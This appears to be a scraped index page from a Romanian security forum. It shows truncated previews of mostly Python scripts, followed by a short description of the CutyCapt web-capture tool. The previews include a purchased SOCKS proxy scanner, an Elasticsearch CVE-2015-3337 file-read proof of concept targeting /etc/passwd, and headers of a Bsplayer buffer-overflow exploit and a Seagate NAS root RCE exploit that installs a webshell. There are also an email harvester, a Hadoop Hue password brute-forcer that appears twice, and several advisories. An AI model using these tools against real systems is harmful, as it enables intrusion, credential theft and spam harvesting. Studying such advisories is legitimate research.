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  1. Am cumparat acum cateva zile de la cineva acest scanner si in 2 zile de scanat cu el tot astept sa prind si eu 1 socks. ) Poate nu stiu eu sa-l folosesc rog pe cei care il testeaza sa posteze un feedback . python scanner.py start_ip-end_ip import sys import os import socket import urllib from random import randint def get_ports(): port=[] for i in range(0,65536): if(i!=80 and i!=1080): port.append(i) return port ports = get_ports() get_host = "https://www.google.com" socket.setdefaulttimeout(3) def getGeo(ip): return urllib.urlopen('http://ipinfo.io/'+ip+'/country').read() def
  2. Un programel simplu facut in pauza de masa. Enjoy: __author__ = "MrGrj" import binascii def bas64decryption(): encoded_string = raw_input("Please insert the base64 encrypted text:") decoded_string = encoded_string.decode('base64') if encoded_string is None: print 'You inserted a null string. Please enter a valid string next time !' else: print 'Your decoded string:' + ' ' + decoded_string def base64encryption(): decoded_string = raw_input("Please insert the text that you want to encode:") encoded_string = decoded_string.encode('base64') if dec
  3. #!/usr/bin/env python # -*- coding: utf-8 -*- ''' @license: GPLv3 @author : Eduardo Novella @ARNetOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail ([url]http://www.telecom.com.ar/hogares/contacto_tecnico.html[/url]) 2014-09-16 Send another message to Arnet via website. First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware abou
  4. #!/usr/bin/python # Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign # Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5 # Pedro Andujar || twitter: pandujar || email: @digitalsec.net # Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/ import socket, sys print "!dSR ElasticPwn - for CVE-2015-3337\n" if len(sys.argv) <> 3: print "Ex: %s [url]www.example.com[/url] /etc/passwd" % sys.argv[0] sys.exit() port = 9200 # Default ES http port host = sys.argv[1] fpath = sys.argv[2] def grab(plugin): socket.setdefaulttimeou
  5. #!/usr/bin/python ''' Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL. In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full address and then used backward jumping to jump to a long jump that eventually land in my shellcode. Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try My twitter: @fady_osman My youtube: [url]https://www.youtube.com/user/cutehack3r[/url] ''' import socket import sys s = socket.soc
  6. #!/usr/bin/python import sys import re import string import httplib import urllib2 import re def StripTags(text): finished = 0 while not finished: finished = 1 start = text.find("<") if start >= 0: stop = text[start:].find(">") if stop >= 0: text = text[:start] + text[start+stop+1:] finished = 0 return text if len(sys.argv) != 2: print "\nExtracts emails from google results.\n" print "\nUsage : ./goog-mail.py <domain-name>\n" sys.exit(1) domain_name=sys.argv[1
  7. #!/usr/bin/env python # # Seagape # ======= # Seagate Business NAS pre-authentication remote code execution # exploit as root user. # # by OJ Reeves (@TheColonial) - for full details please see # https://beyondbinary.io/advisory/seagate-nas-rce/ # # Usage # ===== # seagape.py <ip> <port> [-c [ua]] # # - ip : ip or host name of the target NAS # - port : port of the admin web ui # - -c : (optional) create a cookie which will give admin access. # Not specifying this flag results in webshell installation. # - ua : (optional) the user agent used by the browser for the #
  8. Summary: A bug in the stock Google email application version 4.4.2.0200 has been found. An attacker can remotely perform an Denial Of Service attack by sending a specially crafted email. No interaction from the user is needed to produce the crash just receive the malicious email. The CVE-2015-1574 has been assigned. Version 4.2.2.0200 running on a Samsung Galaxy 4 mini fully updated (19 Jan 2015) is affected. Newer versions 4.2.2.0400 are not affected. Details and proof of concept exploit at: http://hmarco.org/bugs/google_email_app_4.2.2_denial_of_service.html Regards, Hector Marco
  9. Hadoop User Experience password cracking script. Written in Python. #!/usr/bin/python import sys import requests import datetime from fake_useragent import UserAgent ## CONFIG STARTS HERE ## user = "admin" host = "hostname:port" listfile = "~/dictionaries/top1000-worst-passwords.txt" ## CONFIG ENDS HERE## dictionary = open(listfile) list = dictionary.readlines() words = [ ] print "Initializing dictionary", for entry in list: print('.'), newword = entry.rstrip("\n") words.append(newword) print "Now testing " for password in words: ua = UserAgent().random headers = { "Use
  10. The term “Big Data” has been flinging around quite a lot lately. It is in the news all the time. We hear about how much it has pushed us into the future and into the internet of things. These things all will produce useful data that will need to be analyzed and stored. One technology that we hear more and more about is Hadoop. Hadoop was birthed as an open source project from the Google filesystem (GFS), and Map Reduce white-papers; the creator is Doug Cutting and the open source community. Map reduce is the core of Hadoop, and allows the user to write very simple programs to distribute worklo
  11. Hadoop User Experience password cracking script. Written in Python. #!/usr/bin/pythonimport sys import requests import datetime from fake_useragent import UserAgent ## CONFIG STARTS HERE ## user = "admin" host = "hostname:port" listfile = "~/dictionaries/top1000-worst-passwords.txt" ## CONFIG ENDS HERE## dictionary = open(listfile) list = dictionary.readlines() words = [ ] print "Initializing dictionary", for entry in list: print('.'), newword = entry.rstrip("\n") words.append(newword) print "Now testing " for password in words: ua = UserAgent().random headers = { "User-Ag
  12. Mogwai Security Advisory MSA-2015-01 ---------------------------------------------------------------------- Title: WP Pixarbay Images Multiple Vulnerabilities Product: Pixarbay Images (Wordpress Plugin) Affected versions: 2.3 Impact: high Remote: yes Product link: https://wordpress.org/plugins/pixabay-images/ Reported: 14/01/2015 by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench) Vendor's Description of the Software: --------------------------------------------------------------------
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    CutyCapt

    CutyCapt CutyCapt is a small cross-platform command-line utility to capture WebKit's rendering of a web page into a variety of vector and bitmap formats, including SVG, PDF, PS, PNG, JPEG, TIFF, GIF, and BMP. See IECapt for a similar tool based on Internet Explorer. Samples Here are some samples of CutyCapt generated renderings: PNG Snapshot of http://digg.com PNG Snapshot of css Zen Garden: The Beauty in CSS Design SVG Snapshot of MSDN Silverlight Dev Center PDF Snapshot of MSDN Silverlight Dev Center Status CutyCapt has a number of known quirks, most of which are caused by
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